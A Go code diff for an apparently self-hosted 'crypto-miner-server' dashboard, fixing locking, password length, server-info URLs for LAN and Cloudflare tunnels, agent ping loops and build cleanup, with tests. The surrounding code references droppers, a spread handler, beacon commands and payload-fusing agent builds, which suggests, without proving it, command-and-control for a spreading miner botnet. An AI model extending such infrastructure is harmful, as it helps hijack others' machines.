@@ -14,6 +14,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
|
||||||
"github.com/go-chi/chi/v5"
|
"github.com/go-chi/chi/v5"
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestPathTracerStartResolvesAgentName(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
agentID := "trace-agent-named"
|
||||||
|
if err := database.UpsertAgent(&models.Agent{
|
||||||
|
ID: agentID,
|
||||||
|
Name: "Edge Node Alpha",
|
||||||
|
Status: "online",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
handler := NewPathTracerHandler(hub)
|
||||||
|
startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
|
||||||
|
// WS auth overwrites name with hostname; restore operator label for resolution test.
|
||||||
|
if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
body := `{"agent_ids":["` + agentID + `"]}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.Start(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
var startResp struct {
|
||||||
|
Hops []HopInfo `json:"hops"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(startResp.Hops) != 1 {
|
||||||
|
t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
|
||||||
|
}
|
||||||
|
if startResp.Hops[0].AgentName != "Edge Node Alpha" {
|
||||||
|
t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestPathTracerStartValidation(t *testing.T) {
|
func TestPathTracerStartValidation(t *testing.T) {
|
||||||
h := NewPathTracerHandler(NewWSHub(nil))
|
h := NewPathTracerHandler(NewWSHub(nil))
|
||||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
||||||
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
|
|||||||
if rec.Code != http.StatusBadRequest {
|
if rec.Code != http.StatusBadRequest {
|
||||||
t.Fatalf("expected 400, got %d", rec.Code)
|
t.Fatalf("expected 400, got %d", rec.Code)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dupBody := `{"agent_ids":["agent-a","agent-a"]}`
|
||||||
|
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
|
||||||
|
rec = httptest.NewRecorder()
|
||||||
|
h.Start(rec, req)
|
||||||
|
if rec.Code != http.StatusBadRequest {
|
||||||
|
t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
offlineBody := `{"agent_ids":["offline-agent"]}`
|
||||||
|
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
|
||||||
|
rec = httptest.NewRecorder()
|
||||||
|
h.Start(rec, req)
|
||||||
|
if rec.Code != http.StatusBadRequest {
|
||||||
|
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
|
|||||||
func authCacheSet(user, pass string) {
|
func authCacheSet(user, pass string) {
|
||||||
key := authCacheKey(user, pass)
|
key := authCacheKey(user, pass)
|
||||||
authSessionCacheMu.Lock()
|
authSessionCacheMu.Lock()
|
||||||
|
defer authSessionCacheMu.Unlock()
|
||||||
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
||||||
// Prune expired entries opportunistically.
|
// Prune expired entries opportunistically.
|
||||||
if len(authSessionCache) > 512 {
|
if len(authSessionCache) > 512 {
|
||||||
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
authSessionCacheMu.Unlock()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func generateRandomPassword() string {
|
func generateRandomPassword() string {
|
||||||
b := make([]byte, 4)
|
b := make([]byte, 8)
|
||||||
if _, err := rand.Read(b); err != nil {
|
if _, err := rand.Read(b); err != nil {
|
||||||
return "aether1!"
|
return "aether1!"
|
||||||
}
|
}
|
||||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
version := "AetherForge"
|
version := "AetherForge"
|
||||||
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
if publicURLOverride != nil {
|
if publicURLOverride != nil {
|
||||||
override = publicURLOverride()
|
override = publicURLOverride()
|
||||||
}
|
}
|
||||||
GetServerInfo(w, r, override, listenPort)
|
tunnelReady := false
|
||||||
|
if cloudflaredConfigured != nil {
|
||||||
|
tunnelReady = cloudflaredConfigured()
|
||||||
|
}
|
||||||
|
GetServerInfo(w, r, override, listenPort, tunnelReady)
|
||||||
})
|
})
|
||||||
|
|
||||||
// Dashboard
|
// Dashboard
|
||||||
|
|||||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
|||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||||
|
|
||||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||||
|
|
||||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
|||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||||
|
|
||||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
|
|||||||
@@ -5,26 +5,41 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
cachedLocalIPs []string
|
||||||
|
cachedLocalIPsAt time.Time
|
||||||
|
cachedLocalIPsMu sync.Mutex
|
||||||
|
localIPsCacheTTL = 30 * time.Second
|
||||||
)
|
)
|
||||||
|
|
||||||
type ServerInfo struct {
|
type ServerInfo struct {
|
||||||
Port int `json:"port"`
|
Port int `json:"port"`
|
||||||
Host string `json:"host"`
|
Host string `json:"host"`
|
||||||
LocalIPs []string `json:"local_ips"`
|
LocalIPs []string `json:"local_ips"`
|
||||||
SuggestedURL string `json:"suggested_url"`
|
LANURL string `json:"lan_url"`
|
||||||
DashboardURL string `json:"dashboard_url"`
|
TunnelURL string `json:"tunnel_url,omitempty"`
|
||||||
WebSocketURL string `json:"websocket_url"`
|
CloudflaredConfigured bool `json:"cloudflared_configured"`
|
||||||
|
SuggestedURL string `json:"suggested_url"`
|
||||||
|
DashboardURL string `json:"dashboard_url"`
|
||||||
|
WebSocketURL string `json:"websocket_url"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
// lan_url is always the LAN http endpoint for workers on the same network.
|
||||||
|
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
|
||||||
if listenPort <= 0 {
|
if listenPort <= 0 {
|
||||||
listenPort = 8989
|
listenPort = 8989
|
||||||
}
|
}
|
||||||
|
|
||||||
localIPs := listLocalIPv4()
|
localIPs := listLocalIPv4Cached()
|
||||||
|
lanURL := lanURLFromIPs(localIPs, listenPort)
|
||||||
|
tunnelURL := tunnelURLFromRequest(r)
|
||||||
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||||
|
|
||||||
host := r.Host
|
host := r.Host
|
||||||
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
|
|||||||
}
|
}
|
||||||
|
|
||||||
info := ServerInfo{
|
info := ServerInfo{
|
||||||
Port: port,
|
Port: port,
|
||||||
Host: host,
|
Host: host,
|
||||||
LocalIPs: localIPs,
|
LocalIPs: localIPs,
|
||||||
SuggestedURL: suggestedURL,
|
LANURL: lanURL,
|
||||||
DashboardURL: suggestedURL,
|
TunnelURL: tunnelURL,
|
||||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
CloudflaredConfigured: cloudflaredConfigured,
|
||||||
|
SuggestedURL: suggestedURL,
|
||||||
|
DashboardURL: suggestedURL,
|
||||||
|
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||||
}
|
}
|
||||||
|
|
||||||
writeJSON(w, info)
|
writeJSON(w, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func lanURLFromIPs(localIPs []string, listenPort int) string {
|
||||||
|
if len(localIPs) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return formatBaseURL("http", localIPs[0], listenPort)
|
||||||
|
}
|
||||||
|
|
||||||
|
func tunnelURLFromRequest(r *http.Request) string {
|
||||||
|
scheme := requestScheme(r)
|
||||||
|
if scheme != "https" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
host := requestHost(r)
|
||||||
|
hostOnly, port := hostAndPort(host, scheme)
|
||||||
|
if isLoopbackHost(hostOnly) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return formatBaseURL(scheme, hostOnly, port)
|
||||||
|
}
|
||||||
|
|
||||||
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||||
if norm := normalizePublicURL(publicOverride); norm != "" {
|
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||||
return norm
|
return norm
|
||||||
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
|
|||||||
return "ws://" + strings.TrimPrefix(base, "http://")
|
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func listLocalIPv4Cached() []string {
|
||||||
|
cachedLocalIPsMu.Lock()
|
||||||
|
defer cachedLocalIPsMu.Unlock()
|
||||||
|
if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
|
||||||
|
out := make([]string, len(cachedLocalIPs))
|
||||||
|
copy(out, cachedLocalIPs)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
cachedLocalIPs = listLocalIPv4()
|
||||||
|
cachedLocalIPsAt = time.Now()
|
||||||
|
out := make([]string, len(cachedLocalIPs))
|
||||||
|
copy(out, cachedLocalIPs)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
func listLocalIPv4() []string {
|
func listLocalIPv4() []string {
|
||||||
var ips []string
|
var ips []string
|
||||||
ifaces, err := net.Interfaces()
|
ifaces, err := net.Interfaces()
|
||||||
@@ -187,6 +240,9 @@ func parsePort(s string) int {
|
|||||||
return 8989
|
return 8989
|
||||||
}
|
}
|
||||||
n = n*10 + int(ch-'0')
|
n = n*10 + int(ch-'0')
|
||||||
|
if n > 65535 {
|
||||||
|
return 8989
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
return 8989
|
return 8989
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
|
|||||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
req.Host = "localhost:8989"
|
req.Host = "localhost:8989"
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
GetServerInfo(rec, req, "", 8989)
|
GetServerInfo(rec, req, "", 8989, false)
|
||||||
|
|
||||||
if rec.Code != http.StatusOK {
|
if rec.Code != http.StatusOK {
|
||||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||||
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
|||||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
req.Host = "localhost:8989"
|
req.Host = "localhost:8989"
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
|
GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
|
||||||
|
|
||||||
var info ServerInfo
|
var info ServerInfo
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||||
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
|||||||
req.Header.Set("X-Forwarded-Proto", "https")
|
req.Header.Set("X-Forwarded-Proto", "https")
|
||||||
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
GetServerInfo(rec, req, "", 8989)
|
GetServerInfo(rec, req, "", 8989, true)
|
||||||
|
|
||||||
var info ServerInfo
|
var info ServerInfo
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||||
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
|||||||
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
||||||
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
||||||
}
|
}
|
||||||
|
if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
|
||||||
|
t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
|
||||||
|
}
|
||||||
|
if !info.CloudflaredConfigured {
|
||||||
|
t.Fatal("expected cloudflared_configured=true")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
|
req.Host = "localhost:8989"
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
GetServerInfo(rec, req, "", 8989, false)
|
||||||
|
|
||||||
|
var info ServerInfo
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if info.TunnelURL != "" {
|
||||||
|
t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
|
||||||
|
}
|
||||||
|
if len(info.LocalIPs) > 0 && info.LANURL == "" {
|
||||||
|
t.Fatalf("expected lan_url when local IPs present: %+v", info)
|
||||||
|
}
|
||||||
|
if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
|
||||||
|
t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if h.aiHandler != nil {
|
if h.aiHandler != nil {
|
||||||
h.aiHandler.RemoveEngine(agentID)
|
h.aiHandler.RemoveEngine(agentID)
|
||||||
}
|
}
|
||||||
h.db.SetAgentOffline(agentID)
|
if err := h.db.SetAgentOffline(agentID); err != nil {
|
||||||
|
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
||||||
|
}
|
||||||
h.broadcastDashboard(Message{
|
h.broadcastDashboard(Message{
|
||||||
Type: "agent_offline",
|
Type: "agent_offline",
|
||||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||||
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||||
}
|
}
|
||||||
|
|
||||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||||
// two concurrent new agents could both pass the count check under RLock, then
|
// two concurrent new agents could both pass the count check under RLock, then
|
||||||
// both get registered, overshooting the limit.
|
// both get registered, overshooting the limit.
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
_, alreadyConnected := h.agents[agentID]
|
_, alreadyConnected := h.agents[agentID]
|
||||||
if policy.MaxAgents > 0 {
|
if policy.MaxAgents > 0 {
|
||||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||||
h.mu.Unlock()
|
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
||||||
"success": false, "error": "fleet agent limit reached",
|
|
||||||
})})
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
|
||||||
oldConn := old.Conn
|
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
oldConn.Close()
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
h.mu.Lock()
|
"success": false, "error": "fleet agent limit reached",
|
||||||
|
})})
|
||||||
|
break
|
||||||
}
|
}
|
||||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
}
|
||||||
h.agents[agentID] = ac
|
// startPing tracks whether a new ping goroutine is needed.
|
||||||
|
// If the same connection is re-authing (rare but possible), the existing
|
||||||
|
// ping loop is still healthy — starting a second one would create two
|
||||||
|
// concurrent writers racing on conn.WriteControl.
|
||||||
|
startPing := !alreadyConnected
|
||||||
|
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||||
|
oldConn := old.Conn
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
|
oldConn.Close()
|
||||||
|
h.mu.Lock()
|
||||||
|
startPing = true // fresh connection after displacing old one
|
||||||
|
}
|
||||||
|
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||||
|
h.agents[agentID] = ac
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
h.FlushBeaconPoliciesToWS(agentID)
|
h.FlushBeaconPoliciesToWS(agentID)
|
||||||
h.FlushBeaconCommandsToWS(agentID)
|
h.FlushBeaconCommandsToWS(agentID)
|
||||||
h.ClearBeaconTransport(agentID)
|
h.ClearBeaconTransport(agentID)
|
||||||
|
|
||||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
// Only start a ping loop for genuinely new connections.
|
||||||
|
if startPing {
|
||||||
go h.runPingLoopAgent(ac)
|
go h.runPingLoopAgent(ac)
|
||||||
|
}
|
||||||
|
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
"success": true,
|
"success": true,
|
||||||
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
|||||||
for id, dc := range h.dashboards {
|
for id, dc := range h.dashboards {
|
||||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||||
|
// Only close the connection here. HandleDashboardWS owns all map
|
||||||
|
// cleanup via its existing defer — doing it here too would cause a
|
||||||
|
// double-delete that corrupts the remaining-count used for the
|
||||||
|
// presence_update broadcast (SRV-B4).
|
||||||
dc.Conn.Close()
|
dc.Conn.Close()
|
||||||
id := id
|
|
||||||
go func() {
|
|
||||||
h.mu.Lock()
|
|
||||||
delete(h.dashboards, id)
|
|
||||||
h.mu.Unlock()
|
|
||||||
}()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
file.Close()
|
file.Close()
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
|
||||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||||
return
|
return
|
||||||
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||||
agentDir := filepath.Join(buildDir, "agent")
|
agentDir := filepath.Join(buildDir, "agent")
|
||||||
|
|
||||||
|
// cleanupBuild removes the build directory on any error path to avoid
|
||||||
|
// accumulating partial builds (which may contain uploaded payloads or
|
||||||
|
// a copy of the agent source tree).
|
||||||
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||||
|
|
||||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := h.copyAgentSource(agentDir); err != nil {
|
if err := h.copyAgentSource(agentDir); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
log.Printf("Failed to copy agent source: %v", err)
|
log.Printf("Failed to copy agent source: %v", err)
|
||||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
configDir := filepath.Join(agentDir, "config")
|
configDir := filepath.Join(agentDir, "config")
|
||||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
p := platforms[0]
|
p := platforms[0]
|
||||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
log.Printf("Build failed: %v", err)
|
log.Printf("Build failed: %v", err)
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
|
|
||||||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
var err error
|
var err error
|
||||||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
finalPath = fusionRes.LauncherPath
|
finalPath = fusionRes.LauncherPath
|
||||||
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
}
|
}
|
||||||
req.OutputDir = clean
|
req.OutputDir = clean
|
||||||
